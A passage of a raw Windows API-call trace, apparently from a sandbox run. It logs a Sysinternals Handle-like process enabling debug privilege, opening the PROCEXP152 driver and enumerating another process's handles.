lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0118.986] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x100) returned 0x261220 [0118.986] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x140010890) returned 0x0 [0118.986] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x261220) returned 0x100 [0118.986] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0118.986] GetProcAddress (hModule=0x76f20000, lpProcName="IsWow64Process") returned 0x76f291d0 [0118.986] GetCurrentProcess () returned 0xffffffffffffffff [0118.986] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x12fef0 | out: Wow64Process=0x12fef0) returned 1 [0118.986] GetLastError () returned 0x0 [0118.986] SetLastError (dwErrCode=0x0) [0118.986] GetLastError () returned 0x0 [0118.987] SetLastError (dwErrCode=0x0) [0118.987] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x0) returned 0x2 [0118.987] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x7c) returned 0x0 [0118.987] RegQueryValueExW (in: hKey=0x7c, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x0, lpcbData=0x12fc48*=0x4) returned 0x2 [0118.987] RegCloseKey (hKey=0x7c) returned 0x0 [0118.987] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x7c) returned 0x0 [0118.987] RegQueryValueExW (in: hKey=0x7c, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x1, lpcbData=0x12fc48*=0x4) returned 0x0 [0118.987] RegCloseKey (hKey=0x7c) returned 0x0 [0118.987] GetLastError () returned 0x0 [0118.987] SetLastError (dwErrCode=0x0) [0118.987] GetLastError () returned 0x0 [0118.987] SetLastError (dwErrCode=0x0) [0118.987] RegCreateKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", phkResult=0x12fc38 | out: phkResult=0x12fc38*=0x7c) returned 0x0 [0118.987] RegSetValueExW (in: hKey=0x7c, lpValueName="EulaAccepted", Reserved=0x0, dwType=0x4, lpData=0x12fc30*=0x1, cbData=0x4 | out: lpData=0x12fc30*=0x1) returned 0x0 [0118.988] RegCloseKey (hKey=0x7c) returned 0x0 [0118.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x0) returned 1 [0118.988] GetCurrentProcess () returned 0xffffffffffffffff [0118.988] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x12e3e0 | out: TokenHandle=0x12e3e0*=0x7c) returned 1 [0118.988] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x12e3e8 | out: lpLuid=0x12e3e8*(LowPart=0x14, HighPart=0)) returned 1 [0119.093] AdjustTokenPrivileges (in: TokenHandle=0x7c, DisableAllPrivileges=0, NewState=0x12e3f0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0119.093] GetLastError () returned 0x0 [0119.093] CloseHandle (hObject=0x7c) returned 1 [0119.093] GetLastError () returned 0x0 [0119.093] SetLastError (dwErrCode=0x0) [0119.093] GetLastError () returned 0x0 [0119.093] SetLastError (dwErrCode=0x0) [0119.094] CreateFileW (lpFileName="\\\\.\\PROCEXP152" (normalized: "\\device\\procexp152"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c [0119.094] SeCaptureSubjectContext (in: SubjectContext=0xfffff88004435598 | out: SubjectContext=0xfffff88004435598) [0119.094] ExGetPreviousMode () returned 0xfffffa8003260a01 [0119.094] SePrivilegeCheck (in: RequiredPrivileges=0xfffff880044355b8, SubjectSecurityContext=0xfffff88004435598, AccessMode=0x1 | out: RequiredPrivileges=0xfffff880044355b8) returned 1 [0119.094] SeReleaseSubjectContext (in: SubjectContext=0xfffff88004435598 | out: SubjectContext=0xfffff88004435598) [0119.094] IofCompleteRequest (Irp=0xfffffa80037aeee0, PriorityBoost=0) [0119.094] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0119.094] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationProcess") returned 0x771914a0 [0119.094] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0119.095] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationThread") returned 0x77191560 [0119.095] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0119.095] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySystemInformation") returned 0x77191670 [0119.095] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0119.095] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySymbolicLinkObject") returned 0x771925d0 [0119.095] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0119.095] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryDirectoryObject") returned 0x77192440 [0119.095] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0119.095] GetProcAddress (hModule=0x77140000, lpProcName="NtOpenSymbolicLinkObject") returned 0x77192310 [0119.095] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0119.095] GetProcAddress (hModule=0x77140000, lpProcName="NtOpenDirectoryObject") returned 0x77191890 [0119.095] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0119.095] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryObject") returned 0x77191410 [0119.095] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0119.095] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySection") returned 0x77191820 [0119.095] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0119.096] GetProcAddress (hModule=0x77140000, lpProcName="RtlInitAnsiString") returned 0x77197f80 [0119.096] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0119.096] GetProcAddress (hModule=0x77140000, lpProcName="RtlInitUnicodeString") returned 0x77195280 [0119.096] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0119.096] GetProcAddress (hModule=0x77140000, lpProcName="RtlAnsiStringToUnicodeString") returned 0x77194e50 [0119.096] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0119.096] GetProcAddress (hModule=0x77140000, lpProcName="RtlFreeUnicodeString") returned 0x77195610 [0119.096] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0119.096] GetProcAddress (hModule=0x77140000, lpProcName="RtlFreeAnsiString") returned 0x77195610 [0119.096] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0119.096] GetProcAddress (hModule=0x77140000, lpProcName="RtlUnicodeStringToAnsiString") returned 0x77195c50 [0119.096] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x0, Length=0x0, ResultLength=0x0 | out: SystemInformation=0x0, ResultLength=0x0) returned 0xc0000004 [0119.096] GetLastError () returned 0x0 [0119.096] SetLastError (dwErrCode=0x0) [0119.096] GetLastError () returned 0x0 [0119.096] SetLastError (dwErrCode=0x0) [0119.096] GetDriveTypeW (lpRootPathName="A:\\") returned 0x1 [0119.097] GetLastError () returned 0x0 [0119.097] SetLastError (dwErrCode=0x0) [0119.097] GetLastError () returned 0x0 [0119.097] SetLastError (dwErrCode=0x0) [0119.097] GetDriveTypeW (lpRootPathName="B:\\") returned 0x1 [0119.097] GetLastError () returned 0x0 [0119.097] SetLastError (dwErrCode=0x0) [0119.097] GetLastError () returned 0x0 [0119.097] SetLastError (dwErrCode=0x0) [0119.097] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0119.097] GetLastError () returned 0x0 [0119.097] SetLastError (dwErrCode=0x0) [0119.097] GetLastError () returned 0x0 [0119.097] SetLastError (dwErrCode=0x0) [0119.097] RtlInitUnicodeString (in: DestinationString=0x12dac0, SourceString="\\DosDevices\\C:" | out: DestinationString="\\DosDevices\\C:") [0119.097] NtOpenSymbolicLinkObject (in: SymbolicLinkHandle=0x12db00, DesiredAccess=0x20001, ObjectAttributes=0x12db10 | out: SymbolicLinkHandle=0x12db00*=0xc0) returned 0x0 [0119.097] NtQuerySymbolicLinkObject (in: SymLinkObjHandle=0xc0, LinkTarget=0x12dbe0, DataWritten=0x12db08 | out: LinkTarget="\\Device\\HarddiskVolume1", DataWritten=0x12db08) returned 0x0 [0119.097] CloseHandle (hObject=0xc0) returned 1 [0119.097] RtlInitUnicodeString (in: DestinationString=0x12dac0, SourceString="\\Device\\HarddiskVolume1" | out: DestinationString="\\Device\\HarddiskVolume1") [0119.097] NtOpenSymbolicLinkObject (in: SymbolicLinkHandle=0x12db00, DesiredAccess=0x20001, ObjectAttributes=0x12db10 | out: SymbolicLinkHandle=0x12db00*=0x0) returned 0xc0000024 [0119.098] GetLastError () returned 0x0 [0119.098] SetLastError (dwErrCode=0x0) [0119.098] GetLastError () returned 0x0 [0119.098] SetLastError (dwErrCode=0x0) [0119.098] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1 [0119.098] GetLastError () returned 0x0 [0119.098] SetLastError (dwErrCode=0x0) [0119.098] GetLastError () returned 0x0 [0119.098] SetLastError (dwErrCode=0x0) [0119.098] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1 [0119.098] GetLastError () returned 0x0 [0119.098] SetLastError (dwErrCode=0x0) [0119.098] GetLastError () returned 0x0 [0119.098] SetLastError (dwErrCode=0x0) [0119.098] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1 [0119.098] GetLastError () returned 0x0 [0119.098] SetLastError (dwErrCode=0x0) [0119.098] GetLastError () returned 0x0 [0119.098] SetLastError (dwErrCode=0x0) [0119.099] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1 [0119.099] GetLastError () returned 0x0 [0119.099] SetLastError (dwErrCode=0x0) [0119.099] GetLastError () returned 0x0 [0119.099] SetLastError (dwErrCode=0x0) [0119.099] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1 [0119.099] GetLastError () returned 0x0 [0119.099] SetLastError (dwErrCode=0x0) [0119.099] GetLastError () returned 0x0 [0119.099] SetLastError (dwErrCode=0x0) [0119.099] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1 [0119.099] GetLastError () returned 0x0 [0119.099] SetLastError (dwErrCode=0x0) [0119.099] GetLastError () returned 0x0 [0119.099] SetLastError (dwErrCode=0x0) [0119.099] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1 [0119.099] GetLastError () returned 0x0 [0119.099] SetLastError (dwErrCode=0x0) [0119.099] GetLastError () returned 0x0 [0119.099] SetLastError (dwErrCode=0x0) [0119.099] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1 [0119.100] GetLastError () returned 0x0 [0119.100] SetLastError (dwErrCode=0x0) [0119.100] GetLastError () returned 0x0 [0119.100] SetLastError (dwErrCode=0x0) [0119.100] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1 [0119.100] GetLastError () returned 0x0 [0119.100] SetLastError (dwErrCode=0x0) [0119.100] GetLastError () returned 0x0 [0119.100] SetLastError (dwErrCode=0x0) [0119.100] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1 [0119.100] GetLastError () returned 0x0 [0119.100] SetLastError (dwErrCode=0x0) [0119.100] GetLastError () returned 0x0 [0119.100] SetLastError (dwErrCode=0x0) [0119.100] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1 [0119.100] GetLastError () returned 0x0 [0119.100] SetLastError (dwErrCode=0x0) [0119.100] GetLastError () returned 0x0 [0119.100] SetLastError (dwErrCode=0x0) [0119.100] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1 [0119.101] GetLastError () returned 0x0 [0119.101] SetLastError (dwErrCode=0x0) [0119.101] GetLastError () returned 0x0 [0119.101] SetLastError (dwErrCode=0x0) [0119.101] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1 [0119.101] GetLastError () returned 0x0 [0119.101] SetLastError (dwErrCode=0x0) [0119.101] GetLastError () returned 0x0 [0119.101] SetLastError (dwErrCode=0x0) [0119.101] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1 [0119.101] GetLastError () returned 0x0 [0119.101] SetLastError (dwErrCode=0x0) [0119.101] GetLastError () returned 0x0 [0119.101] SetLastError (dwErrCode=0x0) [0119.101] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1 [0119.101] GetLastError () returned 0x0 [0119.101] SetLastError (dwErrCode=0x0) [0119.101] GetLastError () returned 0x0 [0119.101] SetLastError (dwErrCode=0x0) [0119.101] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1 [0119.102] GetLastError () returned 0x0 [0119.102] SetLastError (dwErrCode=0x0) [0119.102] GetLastError () returned 0x0 [0119.102] SetLastError (dwErrCode=0x0) [0119.102] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1 [0119.102] GetLastError () returned 0x0 [0119.102] SetLastError (dwErrCode=0x0) [0119.102] GetLastError () returned 0x0 [0119.102] SetLastError (dwErrCode=0x0) [0119.102] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1 [0119.102] GetLastError () returned 0x0 [0119.102] SetLastError (dwErrCode=0x0) [0119.102] GetLastError () returned 0x0 [0119.102] SetLastError (dwErrCode=0x0) [0119.102] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1 [0119.102] GetLastError () returned 0x0 [0119.102] SetLastError (dwErrCode=0x0) [0119.102] GetLastError () returned 0x0 [0119.102] SetLastError (dwErrCode=0x0) [0119.102] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1 [0119.103] GetLastError () returned 0x0 [0119.103] SetLastError (dwErrCode=0x0) [0119.103] GetLastError () returned 0x0 [0119.103] SetLastError (dwErrCode=0x0) [0119.103] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1 [0119.103] GetLastError () returned 0x0 [0119.103] SetLastError (dwErrCode=0x0) [0119.103] GetLastError () returned 0x0 [0119.103] SetLastError (dwErrCode=0x0) [0119.103] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1 [0119.103] GetLastError () returned 0x0 [0119.103] SetLastError (dwErrCode=0x0) [0119.103] GetLastError () returned 0x0 [0119.103] SetLastError (dwErrCode=0x0) [0119.103] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1 [0119.103] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4000) returned 0x268b10 [0119.103] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x268b10, Length=0x4000, ResultLength=0x12e420 | out: SystemInformation=0x268b10, ResultLength=0x12e420*=0x6ea38) returned 0xc0000004 [0119.105] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268b10 | out: hHeap=0x240000) returned 1 [0119.105] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x8000) returned 0x268b10 [0119.106] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x268b10, Length=0x8000, ResultLength=0x12e420 | out: SystemInformation=0x268b10, ResultLength=0x12e420*=0x6ea38) returned 0xc0000004 [0119.107] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268b10 | out: hHeap=0x240000) returned 1 [0119.107] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10000) returned 0x268b10 [0119.108] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x268b10, Length=0x10000, ResultLength=0x12e420 | out: SystemInformation=0x268b10, ResultLength=0x12e420*=0x6ea38) returned 0xc0000004 [0119.110] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268b10 | out: hHeap=0x240000) returned 1 [0119.110] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20000) returned 0x268b10 [0119.110] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x268b10, Length=0x20000, ResultLength=0x12e420 | out: SystemInformation=0x268b10, ResultLength=0x12e420*=0x6ea38) returned 0xc0000004 [0119.115] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268b10 | out: hHeap=0x240000) returned 1 [0119.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x40000) returned 0x268b10 [0119.116] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x268b10, Length=0x40000, ResultLength=0x12e420 | out: SystemInformation=0x268b10, ResultLength=0x12e420*=0x6ea38) returned 0xc0000004 [0119.125] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268b10 | out: hHeap=0x240000) returned 1 [0119.125] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x80000) returned 0x1f30080 [0119.127] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x1f30080, Length=0x80000, ResultLength=0x12e420 | out: SystemInformation=0x1f30080, ResultLength=0x12e420*=0x6ec18) returned 0x0 [0119.284] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4000) returned 0x268b10 [0119.284] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x268b10, Length=0x4000, ResultLength=0x12e420 | out: SystemInformation=0x268b10, ResultLength=0x12e420*=0x12430) returned 0xc0000004 [0119.284] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268b10 | out: hHeap=0x240000) returned 1 [0119.284] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x8000) returned 0x268b10 [0119.284] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x268b10, Length=0x8000, ResultLength=0x12e420 | out: SystemInformation=0x268b10, ResultLength=0x12e420*=0x12430) returned 0xc0000004 [0119.284] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268b10 | out: hHeap=0x240000) returned 1 [0119.284] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xc000) returned 0x268b10 [0119.284] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x268b10, Length=0xc000, ResultLength=0x12e420 | out: SystemInformation=0x268b10, ResultLength=0x12e420*=0x12430) returned 0xc0000004 [0119.284] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268b10 | out: hHeap=0x240000) returned 1 [0119.284] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10000) returned 0x268b10 [0119.285] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x268b10, Length=0x10000, ResultLength=0x12e420 | out: SystemInformation=0x268b10, ResultLength=0x12e420*=0x12430) returned 0xc0000004 [0119.285] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268b10 | out: hHeap=0x240000) returned 1 [0119.285] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x14000) returned 0x268b10 [0119.285] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x268b10, Length=0x14000, ResultLength=0x12e420 | out: SystemInformation=0x268b10, ResultLength=0x12e420*=0x12430) returned 0x0 [0119.285] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf88) returned 0xc0 [0119.285] GetCurrentProcess () returned 0xffffffffffffffff [0119.285] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xbc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0119.285] CloseHandle (hObject=0xc0) returned 1 [0119.285] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.285] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x78) returned 0x264c50 [0119.285] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x264c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x264c50, ReturnLength=0x0) returned 0x0 [0119.286] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264c50 | out: hHeap=0x240000) returned 1 [0119.286] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb0090 [0119.286] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0119.286] PsLookupProcessByProcessId (in: ProcessId=0xf88, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.286] PsAcquireProcessExitSynchronization () returned 0x0 [0119.286] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0) [0119.286] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80021a1510, HandleInformation=0x0) returned 0x0 [0119.286] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.286] PsReleaseProcessExitSynchronization () returned 0x2 [0119.286] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x22 [0119.286] ObQueryNameString (in: Object=0xfffffa80021a1510, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.286] ObfDereferenceObject (Object=0xfffffa80021a1510) returned 0x3 [0119.286] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.286] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb0090 | out: hHeap=0x240000) returned 1 [0119.286] CloseHandle (hObject=0xc4) returned 1 [0119.286] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf88) returned 0xc4 [0119.286] GetCurrentProcess () returned 0xffffffffffffffff [0119.286] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xb8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0119.286] CloseHandle (hObject=0xc4) returned 1 [0119.286] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.286] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x78) returned 0x264c50 [0119.286] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x264c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x264c50, ReturnLength=0x0) returned 0x0 [0119.286] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264c50 | out: hHeap=0x240000) returned 1 [0119.286] NtQueryInformationThread (in: ThreadHandle=0xc0, ThreadInformationClass=0x0, ThreadInformation=0x12d508, ThreadInformationLength=0x30, ReturnLength=0x12d4b0 | out: ThreadInformation=0x12d508, ReturnLength=0x12d4b0) returned 0xc0000022 [0119.286] CloseHandle (hObject=0xc0) returned 1 [0119.286] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf88) returned 0xc0 [0119.286] GetCurrentProcess () returned 0xffffffffffffffff [0119.286] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xa8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0119.286] CloseHandle (hObject=0xc0) returned 1 [0119.287] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.287] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x88) returned 0x264c50 [0119.287] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x264c50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x264c50, ReturnLength=0x0) returned 0x0 [0119.287] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264c50 | out: hHeap=0x240000) returned 1 [0119.287] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb0090 [0119.287] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0119.287] PsLookupProcessByProcessId (in: ProcessId=0xf88, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.287] PsAcquireProcessExitSynchronization () returned 0x0 [0119.287] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0) [0119.287] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800242c5a0, HandleInformation=0x0) returned 0x0 [0119.287] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.287] PsReleaseProcessExitSynchronization () returned 0x2 [0119.287] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x22 [0119.287] ObQueryNameString (in: Object=0xfffffa800242c5a0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 